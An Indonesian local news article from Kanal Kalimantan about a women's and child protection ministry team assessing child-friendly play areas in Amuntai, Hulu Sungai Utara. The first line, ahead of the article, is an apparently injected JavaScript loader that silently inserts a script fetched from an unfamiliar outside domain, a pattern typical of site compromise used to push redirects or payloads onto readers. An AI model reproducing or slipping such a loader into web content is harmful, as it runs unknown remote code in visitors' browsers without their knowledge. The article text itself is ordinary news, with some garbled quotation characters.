(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Tim dari Kementerian Pemberdayaan Perempuan dan Perlindungan Anak (Kemen PPPA) kunjungan kerja ke Kabupaten HSU melakukan penilaian di sejumlah titik ruang bermain ramah anak.
Kepala Dinas PPPA HSU Hj Gusti Iskandariah kepada Kanal Kalimantan, Sabtu (18/11) menuturkan, Kedatangan tim penilai dari Kementerian PPPA RI diawaki Rahmat Rijali, Hendy Tamara, Ketua Tim Auditor dari Kementeria PU dan Dr Ir Dermawati DS dari UGM melakukan audit penilaian standarisasi dan sertifikasi ruang bermain ramah anak di HSU. Peninjauan lokasi bermain anak di kawasan lapangan Pahlawan Amuntai oleh tim penilai didampingi Dinas PPPA HSU.
Foto : dewahyudi
Hasil penilaian tim dari 5 fasilitas bermain yang disediakan di lokasi taman bermain anak di kawasan lapangan Pahlawan Amuntai, menurut tim jumlah permainan tersebut masih sejenis, sehingga perlu penambahan jumlah alat bermain yang tidak sejenis.
“Kami diberikan waktu oleh tim penilai sampai 10 Desember 2018 agar dapat menambah alat permainan yang berlainan jenis,†ujarnya.
Gusti Iskandariah menambahkan, meski banyak memiliki kekurangan dan perlu penyempurnaan, pemerintah daerah berupaya memenuhi standarisasi tersebut demi terwujudnya kabupaten layak anak dan sertifikasi ruang bermain ramah anak di Hulu Sungai Utara.
Rahmat Rijali anggota tim dari Kementeriaan PPPA RI saat melakukan penilaian mengatakan, selain melakukan penilaian, pihaknya mensosialisasikan tentang ruang bermain anak untuk mewujudkan pemenuhan hak dan perlindungan anak untuk mencapai standar hidup yang layak bagi anak.
“Untuk bisa tumbuh kembang secara optimal, standar hidup yang layak anak adalah dicukupi paling tidak dari fisik kemudian kebutuhan non fisik termasuk kebudayaan kesehatan kecukupan anak. Kita berharap anak-anak kita bisa tumbuh kembang secara optimal dengan adanya ruang bermain ramah anak,†jelas Rahmat.
Dari hasil penilaian terhadap fasilitas dan ruang bermain anak, tim penilai menyatakan ruang bermain anak di Kabupaten HSU memenuhi standarisasi layak sebagai daerah yang masuk kategori layak anak.
Meski dinyatakan layak, tim penilai dari Kementerian PPPA tetap memberikan catatan kepada pemerintah daerah agar bisa melakukan pembenahan terhadap beberapa fasilitas sarana bermain anak dan menghilangkan sarana bermain yang bisa membahayakan bagi keselamatan anak.
“Alat bermain anak seharusnya minimal 5 jenis, sedangkan di sini meski lebih dari 5 fasilitas bermain, tapi masih sejenis, jadi harus ditambah 2 mainan yang berbeda,†kata Rahmat. (dew)
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
This website uses cookies.